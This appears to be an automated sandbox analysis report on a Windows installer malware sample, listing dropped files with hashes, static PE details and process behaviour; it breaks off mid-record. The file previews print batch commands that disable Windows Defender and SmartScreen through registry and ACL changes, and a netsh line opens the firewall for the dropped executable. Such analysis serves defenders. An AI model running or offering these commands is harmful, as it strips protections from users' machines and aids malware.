                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                  Category:dropped
                  Size (bytes):6144
                  Entropy (8bit):4.35371144899326
                  Encrypted:false
                  SSDEEP:48:6T/mwndFYK26NCO6moJkQgmq/aNMfCIpKkQISeGqeYlK/B4tPpR54tagjlm6ouqB:0HYz6E0oJeXKBeKB4thajI6o2zNt
                  MD5:54CCC3F74E50CF98876B489D534B202C
                  SHA1:29115091237319B0DF4696F2783D0CCCE37EBEF6
                  SHA-256:694D55981FCB0E07F5E6CFE3229B3FA565A7FCB80E2DA77EF987AF2F580D6E37
                  SHA-512:935E441C5D558C8825CC386CCFDE6C1BD6CB0CF77892BBF1753190717004537756085147FD30CEB077BA403BEDA1E071C6A94EF91FF37E3DC5FAA00935035D10
                  Malicious:true
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Y.=..........."...0.............j,... ...@....@.. ....................................`..................................,..O....@.......................`.......+..8............................................ ............... ..H............text...p.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................K,......H........!...............................................................0..................s.......o....o....%o....&o....o....o.......(....r...p.(....(.....>..rW..p..o....(....(.....$..rw..p..o....(....(.......,..o.....*....(......<J..........<d..........p~.......0..........s.......o....o......o....&....s......o.....o....o.......,..o.....r...p.(....(.....<.r...p.o....(....(.....$..r...p..o....(....(.......,..o.....*.4....$..7..........MS..........Mk....................(....*

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe.config

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):257
                  Entropy (8bit):4.97028593092204
                  Encrypted:false
                  SSDEEP:6:TMVBd1IffVKNC7VJdfEyFRSuAKbyXI9VWmtClMyuQIT:TMHdG3VOcrS98yX2yuxT
                  MD5:441F5C5C7933C16068A03D99BC8837C4
                  SHA1:76D1DE63216C2C1218CF47A5D768A18952A1DCB3
                  SHA-256:F1CAC503709C2ACD9AB0A7D0E48A4ABF2777D16052FEE68830260A78359EC72F
                  SHA-512:5B8FA02B827993541841A2FD07A50E5D2C5A7F5BA35E0B282ED3A453E3F919D63F1C9432D922CC364027351C57D2B78F99F5F1469C86B581CC53ACB76FDFC366
                  Malicious:false
                  Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5"/>.. </startup>.. <system.net>.. <defaultProxy useDefaultCredentials="true" />.. </system.net>..</configuration>

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bn.bat

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:DOS batch file, ASCII text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):147
                  Entropy (8bit):4.958939635864444
                  Encrypted:false
                  SSDEEP:3:mKDDbRx8iWwjVynCedyKbup/qNyfrZfyM1KJA7XFhtAG5cF2IJVkBf3GIv:hnIbwjsnCQlm/ZH18A7XFhtF5c0IJOBV
                  MD5:88416E9F6B3759064DF76476C57B31FC
                  SHA1:FFC41B3C48CD5F5461807AC87968A78B060B78D5
                  SHA-256:08C1F095933E606688E2166656E1D726ECA5B7AE8240AACFA184CE8535E1BAEE
                  SHA-512:602D1D262C0954E2DFFF2E5616EBFB9D5BAEBB96300136FC665DC1E6BD969E0876525954DE0A3B83DF69AC04FCF64447AF8A28EA31DBA6C527E8197033197480
                  Malicious:false
                  Preview:@echo off & title f & color 17..cd %~dp0..SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"..

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bn1.bat

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:ASCII text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):6820
                  Entropy (8bit):5.2252457314822225
                  Encrypted:false
                  SSDEEP:192:5qUEGA6oh/HbzBBzKF6gF8XM9LjZApFpQjTtf:AK
                  MD5:18ED180C0B36D0E5BFEE84806A19537C
                  SHA1:E7C9B67BDD5AE63666960DB92BB98FDF43E7B875
                  SHA-256:D388317F65EC52D46FC68548E60320758A6B512966C1D72314875DC29E459528
                  SHA-512:CF6E82E48F9E7B11A4BE4EBD606AF59909D0A372FD694435E747279771C9D9FAC8BFEAF9FEDBC4C37DD0FC8E23E77C6B619AC084F230A207F9F96D0DC17B5F1B
                  Malicious:false
                  Preview: @echo off & title f & color 17.. cd %~dp0.. reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "CriticalFailureTimeOut" /t reg_DWORD /d 0 /f.. reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "NonCriticalTimeOut" /t reg_DWORD /d 0 /f.. reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableGenericRePorts" /t reg_DWORD /d 1 /f.. reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f.. reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "AvgCPULoadFactor" /t reg_DWORD /d "10" /f.. reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t reg_DWORD /d "1" /f.. reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t reg_DWORD /d "1" /f.. reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickSca

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnn.bat

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:DOS batch file, ASCII text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):599
                  Entropy (8bit):5.134436446023382
                  Encrypted:false
                  SSDEEP:12:Vam8zhXEv0RxVjnQEmhd49s8zWhd490RxVjAXhd49OxVjAuiWC290X:QdZAoxV7449/W49oxVo49OxVQG9y
                  MD5:A77F19FDF07EE0BDCEC8889E50953C81
                  SHA1:3BF08F4E5F0BC98CD9E370A2ADC0111A37EB7C7F
                  SHA-256:65A32AFECEDFAD8E6979735E65DB8AC64DC17048D930C5BC6036C62764E6A9A2
                  SHA-512:ECE9F684B8E081CAF4AEC6F1D1373A0931E27694BEEFA316F94771433D20418CD510443495B7A951F1EA14A8E585F442A5092BCB9DCE6C73A73043C319149FF8
                  Malicious:false
                  Preview:@echo off & title f & color 17..cd %~dp0..reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f..reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f..reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f..reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f..reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f..

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnoo1.bat

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:DOS batch file, ASCII text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):2985
                  Entropy (8bit):5.03555492857619
                  Encrypted:false
                  SSDEEP:48:KQyTJnqG9JnTJnAHpnIJnxmvSwV5wX5wKOPSwFMwT5wFW5wSW5wDMwzMw9FMwkM6:By9nvn9nAJnAnxZwTwpwKxwewtwFiwSO
                  MD5:1F89930C9E4FD56765CA2AC17E06817D
                  SHA1:CECB1C4A81DC27A6F4379EAD464F418A1BF10CE9
                  SHA-256:2DE693852C2127D52FE758BDE2FA606D3ADF5F4EB790F186797ABC48E3E892E7
                  SHA-512:488F77BA07C40A27C3F76636FBA2479146CE6AA0B6A4948677E4CC5A2937EAE42F2B15C2BBF13EBB95CF3E2BD0ACE5FA525072CB2BCD368571F8FE79EB6FCD1C
                  Malicious:false
                  Preview:@echo off & title f & color 17..cd %~dp0.. reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f.. reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f.. reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f.. reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f.. reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f.. reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f.. reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f.. reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t r

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\bnz.bat

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:DOS batch file, ASCII text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):2280
                  Entropy (8bit):5.173303731140518
                  Encrypted:false
                  SSDEEP:48:wlG+flGSNlGLflGXNlG2flGWhNlGW4l/XhLggmWW8QyGfPVr9PpfWl92le2L6G24:EGsGAGJGrGEGkG1/Rgpzx1bu2lFLgLWP
                  MD5:A639B0BFEFEC4E4032CFFE1A11E7C28A
                  SHA1:0247F009B3310E486A04DDC68C9123E184285407
                  SHA-256:1CB11EAA7973052F97F53E33E65BE14E9C17AAA95E8F43D20CC42F89DB96F78B
                  SHA-512:46B0A53CACFD9204884F50221FE2DD7E5607CF2ABC16CFA4BC6EDB076DC55228A07885BB511F475668A459895FD89407B1FD2A963FDFD764BD50B4BB92C04306
                  Malicious:false
                  Preview:@echo off & title f & color 17..cd %~dp0..SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"..SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"..SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"..SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"..SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"..SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"..SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"..reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f..reg add "HKLM\SOFTWARE\Microsoft\W

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):889416
                  Entropy (8bit):7.856409051573377
                  Encrypted:false
                  SSDEEP:24576:+tW4x8xAxCdUcyezFSjaBHFaNlsqK5/oh6iZf1LUXw/vxNI:d4x8xqCGexm8FCspg0iZf1LUXD
                  MD5:53406E9988306CBD4537677C5336ABA4
                  SHA1:06BECADB92A5FCCA2529C0B93687C2A0C6D0D610
                  SHA-256:FA1AFFF978325F8818CE3A559D67A58297D9154674DE7FD8EB03656D93104425
                  SHA-512:4F89DA81B5A3800AA16FF33CC4A42DBB17D4C698A5E2983B88C32738DECB57E3088A1DA444AD0EC0D745C3C6B6B8B9B86D3F19909142F9E51F513748C0274A99
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............}...}...}...,...}......}.......}...//..}.../...}.../...}.......}...}...}...,+..}...,/..}...,...}...,...}...,...}..Rich.}..........................PE..L......J.........."..........^...................@..........................@......a8....@...... ..................@.......D........................z..h.......l....................................V..@............................................text.............................. ..`.data....7..........................@....boxld01............................@..@.rsrc...............................@..@.reloc...(.......*..................@..B................................................................................................................................................................................................................................................................................

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):1005568
                  Entropy (8bit):7.880783246239561
                  Encrypted:false
                  SSDEEP:24576:3idS2cRQNb9dUcyezFSja7zEwA2BH6SEUVGDKX68zuQm6wwr5mAPepC:SQ2cRQh9GexmCxBxVV56CmWQax
                  MD5:9E8253F0A993E53B4809DBD74B335227
                  SHA1:F6BA6F03C65C3996A258F58324A917463B2D6FF4
                  SHA-256:E434828818F81E6E1F5955E84CAEC08662BD154A80B24A71A2EDA530D8B2F66A
                  SHA-512:404D67D59FCD767E65D86395B38D1A531465CEE5BB3C5CF3D1205975FF76D27D477FE8CC3842B8134F17B61292D8E2FFBA71134FE50A36AFD60B189B027F5AF0
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.]`r.33r.33r.33ih.3s.33U3^3q.33...3s.33...3Y.33...3`.33...3..33r.23..33...3g.33l..3s.33ih.37.33ih.3s.33ih.3s.33ih.3s.33Richr.33................PE..L..."x^O.........."..........^....................@..........................@......x.....@...... ..........................4............................>..........................................8Y..@............................................text...Z........................... ..`.data....7..........................@....boxld01............................@..@.rsrc...............................@..@.reloc..j(.......*..................@..B........................................................................................................................................................................................................................................................................................

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\nsExec.dll

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):7168
                  Entropy (8bit):5.295306975422517
                  Encrypted:false
                  SSDEEP:96:JgzdzBzMDhOZZDbXf5GsWvSv1ckne94SDbYkvML1HT1fUNQaSGYuHIDQ:JDQHDb2vSuOc41ZfUNQZGdHA
                  MD5:11092C1D3FBB449A60695C44F9F3D183
                  SHA1:B89D614755F2E943DF4D510D87A7FC1A3BCF5A33
                  SHA-256:2CD3A2D4053954DB1196E2526545C36DFC138C6DE9B81F6264632F3132843C77
                  SHA-512:C182E0A1F0044B67B4B9FB66CEF9C4955629F6811D98BBFFA99225B03C43C33B1E85CACABB39F2C45EAD81CD85E98B201D5F9DA4EE0038423B1AD947270C134A
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,.................Rich...........................PE..L....C.f...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..<.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\win_version_csharp.exe

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
                  Category:dropped
                  Size (bytes):6144
                  Entropy (8bit):4.655569464152001
                  Encrypted:false
                  SSDEEP:96:/uidPNKO2mkcQ7DBOrkB0kPkKXwF4dkd8Nue3qYMns1BjgtRQWWzNt:FIOu7DBOrkB0kPkKXwF4dkd8Nn34nUBR
                  MD5:7CB364701028767F8942CC3F8439F8F2
                  SHA1:D6BEDE2206B7042B4CAE32F416E1B43FFAC94238
                  SHA-256:A2716605F8DD1930808E6918DB670A3FE32287791862883DBABD26849B87B09E
                  SHA-512:3011B3D64F79280AB05DE9658C4F5A13F637AD2E79D5770CFAEB3AF6CB8C7A56B610DAD69FDF295112BE64CFB80E18F30BB1829EB3C0E549105F63D0E770DC13
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...dK............"...0.............:-... ...@....@.. ....................................`..................................,..O....@.......................`......P,..8............................................ ............... ..H............text...@.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................-......H.......P!...............................................................0..V.........(....,Lr...p......%..{..........%..{..........%..{..........%. ]X..(..........(....*..(....*...0..Z.........}......}......}.............. ....}......(....-&..{....}......{....}......{....}.....*.*...0............(....,..{..........*.*..(....*BSJB............v4.0.30319......l.......#~..L.......#Strings.... ...$...#US.D.......#GUID...T.......#Blob...........W=.........3................#.......

                  Static File Info

                  General

                  File type:PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
                  Entropy (8bit):7.996235911793845
                  TrID:
                  • Win32 Executable (generic) a (10002005/4) 99.96%
                  • Generic Win/DOS Executable (2004/3) 0.02%
                  • DOS Executable Generic (2002/1) 0.02%
                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                  File name:Auu2j0pT0B.exe
                  File size:2'590'688 bytes
                  MD5:4fb8a3b07100f5fec8a75931cae24c05
                  SHA1:3ac325d26f6bd89f5bf77acd082cbca4f9296c68
                  SHA256:13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52
                  SHA512:68b2b45e32bc2a65f02b076addf50aca27b6742c0dfcc96ee06f463f344f2b43641ab08b5396cdddeac677ba85607f184e293d8b63b739e904273367b4ae3fd0
                  SSDEEP:49152:RNg6ex2uF+sfC0sJfPT2Xs2WyexyCfXHHVz6UWimMVUiPCqsnaVnHB4lmtpQ3l5w:RVo2wfqNSoyc0G7r6XnaVn/tW5w
                  TLSH:57C53302DE08E2C7E24CCA736B3E1E53ABF1FE205364D7A353DC497A3D2941A449E956
                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN.*_...PN..PO.JPN.*_...PN..s~..PN..VH..PN.Rich.PN.........................PE..L....C.f.................j.........

                  File Icon

                  Icon Hash:0771ccf8d84d2907

                  Static PE Info

                  General

                  Entrypoint:0x403552
                  Entrypoint Section:.text
                  Digitally signed:false
                  Imagebase:0x400000
                  Subsystem:windows gui
                  Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                  DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                  Time Stamp:0x660843FB [Sat Mar 30 16:55:23 2024 UTC]
                  TLS Callbacks:
                  CLR (.Net) Version:
                  OS Version Major:4
                  OS Version Minor:0
                  File Version Major:4
                  File Version Minor:0
                  Subsystem Version Major:4
                  Subsystem Version Minor:0
                  Import Hash:f4639a0b3116c2cfc71144b88a929cfd

                  Entrypoint Preview

                  Instruction
                  sub esp, 000003F8h
                  push ebp
                  push esi
                  push edi
                  push 00000020h
                  pop edi
                  xor ebp, ebp
                  push 00008001h
                  mov dword ptr [esp+20h], ebp
                  mov dword ptr [esp+18h], 0040A2D8h
                  mov dword ptr [esp+14h], ebp
                  call dword ptr [004080A4h]
                  mov esi, dword ptr [004080A8h]
                  lea eax, dword ptr [esp+34h]
                  push eax
                  mov dword ptr [esp+4Ch], ebp
                  mov dword ptr [esp+0000014Ch], ebp
                  mov dword ptr [esp+00000150h], ebp
                  mov dword ptr [esp+38h], 0000011Ch
                  call esi
                  test eax, eax
                  jne 00007F8EB8D2C01Ah
                  lea eax, dword ptr [esp+34h]
                  mov dword ptr [esp+34h], 00000114h
                  push eax
                  call esi
                  mov ax, word ptr [esp+48h]
                  mov ecx, dword ptr [esp+62h]
                  sub ax, 00000053h
                  add ecx, FFFFFFD0h
                  neg ax
                  sbb eax, eax
                  mov byte ptr [esp+0000014Eh], 00000004h
                  not eax
                  and eax, ecx
                  mov word ptr [esp+00000148h], ax
                  cmp dword ptr [esp+38h], 0Ah
                  jnc 00007F8EB8D2BFE8h
                  and word ptr [esp+42h], 0000h
                  mov eax, dword ptr [esp+40h]
                  movzx ecx, byte ptr [esp+3Ch]
                  mov dword ptr [004347B8h], eax
                  xor eax, eax
                  mov ah, byte ptr [esp+38h]
                  movzx eax, ax
                  or eax, ecx
                  xor ecx, ecx
                  mov ch, byte ptr [esp+00000148h]
                  movzx ecx, cx
                  shl eax, 10h
                  or eax, ecx
                  movzx ecx, byte ptr [esp+0000004Eh]

                  Rich Headers

                  Programming Language:
                  • [EXP] VC++ 6.0 SP5 build 8804

                  Data Directories

                  NameVirtual AddressVirtual Size Is in Section
                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                  IMAGE_DIRECTORY_ENTRY_IMPORT0x86080xa0.rdata
                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x740000x4110.rsrc
                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                  IMAGE_DIRECTORY_ENTRY_IAT0x80000x2a8.rdata
                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                  Sections

                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                  .text0x10000x68f80x6a00595406ea4e71ef6f8675a1bd30bcc8f9False0.6703272405660378data6.482222402519068IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                  .rdata0x80000x14640x1600a995b118b38426885fc6ccaa984c8b7aFalse0.4314630681818182data4.969091535632612IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                  .data0xa0000x2a8180x6007a91ec9f1c18e608c3f3f503ba4191c1False0.5221354166666666data4.165541189894117IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                  .ndata0x350000x3f0000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                  .rsrc0x740000x41100x42005e3a397d010afb820f082282b6aa3da1False0.6276041666666666data6.01076717037944IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                  Resources

                  NameRVASizeTypeLanguageCountryZLIB Complexity
                  RT_ICON0x742b00x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States0.7213883677298312
                  RT_ICON0x753580xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2688, 256 important colorsEnglishUnited States0.6751066098081023
                  RT_ICON0x762000x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1152, 256 important colorsEnglishUnited States0.7851985559566786
                  RT_ICON0x76aa80x568Device independent bitmap graphic, 16 x 32 x 8, image size 320, 256 important colorsEnglishUnited States0.6560693641618497
                  RT_ICON0x770100x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishUnited States0.8031914893617021
                  RT_ICON0x774780x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 640EnglishUnited States0.3118279569892473
                  RT_ICON0x777600x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishUnited States0.36824324324324326
                  RT_DIALOG0x778880x202dataEnglishUnited States0.4085603112840467
                  RT_DIALOG0x77a900xf8dataEnglishUnited States0.6290322580645161
                  RT_DIALOG0x77b880xeedataEnglishUnited States0.6302521008403361
                  RT_GROUP_ICON0x77c780x68dataEnglishUnited States0.6634615384615384
                  RT_MANIFEST0x77ce00x42eXML 1.0 document, ASCII text, with very long lines (1070), with no line terminatorsEnglishUnited States0.5130841121495328

                  Imports

                  DLLImport
                  ADVAPI32.dllRegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
                  SHELL32.dllSHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
                  ole32.dllCoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
                  COMCTL32.dllImageList_Destroy, ImageList_AddMasked, ImageList_Create
                  USER32.dllMessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
                  GDI32.dllGetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
                  KERNEL32.dlllstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW

                  Possible Origin

                  Language of compilation systemCountry where language is spokenMap
                  EnglishUnited States

                  Network Behavior

                  ⊘No network behavior found

                  Statistics

                  CPU Usage

                  Click to jump to process

                  Memory Usage

                  Click to jump to process

                  High Level Behavior Distribution

                  Click to dive into process behavior distribution

                  Behavior

                  Click to jump to process

                  System Behavior

                  General

                  Target ID:0
                  Start time:09:23:02
                  Start date:04/12/2024
                  Path:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  Wow64 process (32bit):true
                  Commandline:"C:\Users\user\Desktop\Auu2j0pT0B.exe"
                  Imagebase:0x400000
                  File size:2'590'688 bytes
                  MD5 hash:4FB8A3B07100F5FEC8A75931CAE24C05
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:low
                  Has exited:true

                  General

                  Target ID:1
                  Start time:09:23:02
                  Start date:04/12/2024
                  Path:C:\Windows\SysWOW64\netsh.exe
                  Wow64 process (32bit):true
                  Commandline:netsh advfirewall firewall add rule name=acxxtzcogvgr dir=in action=allow program="C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private
                  Imagebase:0x1080000
                  File size:82'432 bytes
                  MD5 hash:4E89A1A088BE715D6C946E55AB07C7DF
                  Has elevated privileges:true
                  Has administrator privileges:true
                  Programmed in:C, C++ or other language
                  Reputation:high
                  Has exited:true

                  General

                  Target ID:2
                  Start time:09:23:02
                  Start date:04/12/2024
                  Path:C:\Windows\System32\conhost.exe
                  Wow64 process (32bit):false
                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Imagebase:0x7ff6d64d0000
                  File size:862'208 bytes
